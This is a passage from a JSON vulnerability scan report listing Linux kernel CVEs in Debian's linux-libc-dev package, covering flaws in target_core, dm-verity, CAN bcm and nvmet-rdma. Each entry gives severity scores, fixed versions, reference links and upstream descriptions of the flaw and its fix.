subsequent dereference is\na use-after-free read of the unmapped region.\n\nKeep the parameter list mapped until iport_ptr is no longer needed: drop\nthe early transport_kunmap_data_sg() and unmap once on the success path,\nright before returning. The error paths already unmap through the existing\n\"if (buf) transport_kunmap_data_sg(cmd)\" at the out: label, which now runs\non every post-map error exit because buf is no longer cleared early. Only\nreads of the mapping happen while spinlocks are held; the map and unmap\ncalls remain outside any lock. The sibling caller\ncore_scsi3_decode_spec_i_port() already uses the buffer before unmapping it\nand is left unchanged.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-72083", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/fda6a1f3c3d7047b5ce5654487649c2daa738bfc%20%287.2-rc4%29", "https://git.kernel.org/stable/c/05b3e37433cf2eaf8867f1c16528aa347bb212ab", "https://git.kernel.org/stable/c/59a2a5a37dc49a641ad6bc64aee34e5a61025ffd", "https://git.kernel.org/stable/c/7d56f5c868d92c9d504a34a3ea450bce481c7f63", "https://git.kernel.org/stable/c/9f8076cc73dfa6b10155978c160587e986b22169", "https://git.kernel.org/stable/c/a040004846f1fbe687f6ec76d9ccc27b4ead42e4", "https://git.kernel.org/stable/c/cb7bdae7fba404852ade34b0c1445fbaf3e54fbb", "https://git.kernel.org/stable/c/ef2ee18fec92088c7d8877baf7674e89389ccd66", "https://git.kernel.org/stable/c/fda6a1f3c3d7047b5ce5654487649c2daa738bfc", "https://linux.oracle.com/cve/CVE-2026-72083.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://lore.kernel.org/linux-cve-announce/2026081521-CVE-2026-72083-e7ac@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72083", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72083" ], "PublishedDate": "2026-08-15T06:21:20.167Z", "LastModifiedDate": "2026-10-19T22:17:26.24Z" }, { "VulnerabilityID": "CVE-2026-72098", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72098", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ce511ab7032dbaec7aca81b12bc36c890c107159fee556e8ec6f2913710c3e15", "Title": "kernel: dm-verity: fix buffer overflow in FEC calculation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-verity: fix buffer overflow in FEC calculation\n\nThere's a buffer overflow in dm-verity-fec:\n\nif (neras \u0026\u0026 *neras \u003c= v-\u003efec-\u003eroots)\n\tfio-\u003eerasures[(*neras)++] = i;\n\nThis allows *neras to reach roots + 1 (the post-increment pushes it past\nroots). This value is then passed as no_eras to decode_rs8(). Inside the\nRS decoder (lib/reed_solomon/decode_rs.c:113-121), the erasure locator\npolynomial loop writes lambda[j] where j can reach nroots + 1 — one\nelement past the end of lambda[] (which is sized nroots + 1, valid\nindices 0..nroots). The out-of-bounds write lands on syn[0], corrupting\nthe syndrome buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-72098", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/31d6e6c0ba8d5a7bd59660035a089307100c5e8e%20%287.2-rc3%29", "https://git.kernel.org/stable/c/31d6e6c0ba8d5a7bd59660035a089307100c5e8e", "https://git.kernel.org/stable/c/374775626c327aec2425c16b4d36706e5f8718b8", "https://git.kernel.org/stable/c/5488d3a69d205e28f74f18857b853aa12e778e66", "https://git.kernel.org/stable/c/84d4d2a6988c9a733f7821452cefb5b0d93de2d1", "https://git.kernel.org/stable/c/dc662eed1c432cc2fd4e9314f58d30b3a8cca7cc", "https://git.kernel.org/stable/c/f7990c2b0f08b8841fcd2652d1d7002f5994a7a7", "https://linux.oracle.com/cve/CVE-2026-72098.html", "https://linux.oracle.com/errata/ELSA-2026-67468-0.html", "https://lore.kernel.org/linux-cve-announce/2026081524-CVE-2026-72098-cbda@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72098", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72098" ], "PublishedDate": "2026-08-15T06:21:23.897Z", "LastModifiedDate": "2026-10-30T13:19:46.927Z" }, { "VulnerabilityID": "CVE-2026-72123", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72123", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:534de5e04efd886e01cce3a324c78e2529365eb41457cf4bf2d41d31816650e6", "Title": "kernel: can: bcm: thrtimer use-after-free during RX operation teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: bcm: defer rx_op deallocation to workqueue to fix thrtimer UAF\n\nCommit f1b4e32aca08 (\"can: bcm: use call_rcu() instead of costly\nsynchronize_rcu()\") replaced synchronize_rcu() in bcm_delete_rx_op()\nwith call_rcu() and introduced the RX_NO_AUTOTIMER flag.\n\nHowever, this flag check was omitted for thrtimer in the packet rx\nfast-path. During BCM RX operation teardown, a concurrent RCU reader\n(bcm_rx_handler) can race and re-arm thrtimer via\nbcm_rx_update_and_send() after call_rcu() has been scheduled. Once\nthe RCU grace period elapses, bcm_op is freed. The subsequently\nfiring thrtimer then dereferences the deallocated op, causing a UAF.\n\nAdding flag checks to the rx fast-path (bcm_rx_update_and_send) does not\nfully close the TOCTOU race and introduces latency for every CAN frame.\nConversely, calling hrtimer_cancel() directly inside the RCU callback\n(softirq context) is fatal as hrtimer_cancel() can sleep, triggering\na \"scheduling while atomic\" panic.\n\nResolve this by deferring the timer cancellation and memory free to a\ndedicated unbound workqueue (bcm_wq). The RCU callback now queues a\nwork item to bcm_wq, which safely cancels both timers and deallocates\nmemory in sleepable process context. A dedicated workqueue is used to\nprevent system-wide WQ saturation and is cleanly flushed/destroyed\non module unload to avoid rmmod page faults.\n\nSince the deferred work can now outlive the calling context by an\nunbounded amount, also take a reference on op-\u003esk when it is assigned\nand drop it only once the deferred work has cancelled both timers, so a\nsocket can no longer be freed out from under a still-armed timer whose\ncallback (bcm_send_to_user()) dereferences op-\u003esk.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:43307", "https://access.redhat.com/security/cve/CVE-2026-72123", "https://bugzilla.redhat.com/2429611", "https://bugzilla.redhat.com/2436755", "https://bugzilla.redhat.com/2481972", "https://bugzilla.redhat.com/2482612", "https://bugzilla.redhat.com/2482615", "https://bugzilla.redhat.com/2492458", "https://errata.almalinux.org/9/ALSA-2026-43307.html", "https://git.kernel.org/linus/68973f9db76144825e4f35dfdc80fb8279eb2d57%20%287.2-rc4%29", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=68973f9db761", "https://git.kernel.org/stable/c/036a8c320ca11bc912e8027adcfad14b326f067e", "https://git.kernel.org/stable/c/3cf4fd5316f449811d8baf1bc6978ef5a7b743a9", "https://git.kernel.org/stable/c/4177762f70646ac48a2af382e45a795cbd295198", "https://git.kernel.org/stable/c/68973f9db76144825e4f35dfdc80fb8279eb2d57", "https://git.kernel.org/stable/c/6fd08e8d826c3aa4cc7021f5f9cdbb7fa7441d3f", "https://git.kernel.org/stable/c/cd830e0bc25ee2d38cbfbdbb3cd77c5f53b2b6d5", "https://git.kernel.org/stable/c/ce2d4b121fb7545e1ed588e860c8e5fd5ad45224", "https://git.kernel.org/stable/c/de5fce46637de05bef56ec08528127676eb6fc9b", "https://linux.oracle.com/cve/CVE-2026-72123.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-72123", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72123" ], "PublishedDate": "2026-08-15T06:21:29.577Z", "LastModifiedDate": "2026-10-16T19:17:10.177Z" }, { "VulnerabilityID": "CVE-2026-72129", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72129", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:101eb56fdb46262c857ac2004ffba5cfaa083fa853a94cf0306160e8d7250e6b", "Title": "kernel: nvmet-rdma: handle inline data with a nonzero offset", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-rdma: handle inline data with a nonzero offset\n\nnvmet_rdma_use_inline_sg() maps the host-controlled inline data offset\ninto the per-command inline scatterlist. The bounds check admits any\noffset with off + len \u003c= inline_data_size, but the mapping still assumes\nthe data begins in the first inline page:\n\n\tsg-\u003eoffset = off;\n\tsg-\u003elength = min_t(int, len, PAGE_SIZE - off);\n\nWhen a port is configured with inline_data_size \u003e PAGE_SIZE (settable up\nto max(SZ_16K, PAGE_SIZE)), an offset in (PAGE_SIZE, inline_data_size]\nmakes \"PAGE_SIZE - off\" underflow, so sg-\u003elength is set to ~4 GiB and\nthe block backend reads far past the first inline page. num_pages(len)\nalso ignores the offset, so an in-bounds offset whose [off, off+len)\nspan crosses a page boundary under-counts the scatterlist.\n\nMap the offset properly: split it into a page index and an in-page\noffset, start the scatterlist at that page, and size the page count from\npage_off + len. Because the request scatterlist may now start at\ninline_sg[page_idx] rather than inline_sg[0], generalize the inline-SGL\nidentity test in nvmet_rdma_release_rsp() to a range test; otherwise the\npersistent inline scatterlist is mistaken for an allocated one and\nnvmet_req_free_sgls() frees an inline page (and warns in\nfree_large_kmalloc()).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-72129", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/48c0162f647bb47e6084ffbc71b8f213f5e2f4f8%20%287.2-rc1%29", "https://git.kernel.org/stable/c/11401371152b228448a41d79c6de1c938f93049a", "https://git.kernel.org/stable/c/2944113ad5fbcdf5d349d857c03d2a44b6de75b8", "https://git.kernel.org/stable/c/42a8ea3acd883f4f210d9e54e0975b1e2292b529", "https://git.kernel.org/stable/c/48c0162f647bb47e6084ffbc71b8f213f5e2f4f8", "https://git.kernel.org/stable/c/7c96581169c9d9a7d0726e554313acfbead6141c", "https://git.kernel.org/stable/c/98bcdfa619150b2f41fa15bac140dbaf2584ad05", "https://git.kernel.org/stable/c/bf8bcc1c137d54a62a428b00051fdbb13660673b", "https://git.kernel.org/stable/c/c2106ba1b14d644a5203bea1a50dbe25dcad713c", "https://linux.oracle.com/cve/CVE-2026-72129.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026081530-CVE-2026-72129-841e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72129", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72129" ], "PublishedDate": "2026-08-15T06:21:30.32Z", "LastModifiedDate": "2026-10-16T19:17:10.933Z" }, { "VulnerabilityID": "CVE-2026-72130", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": 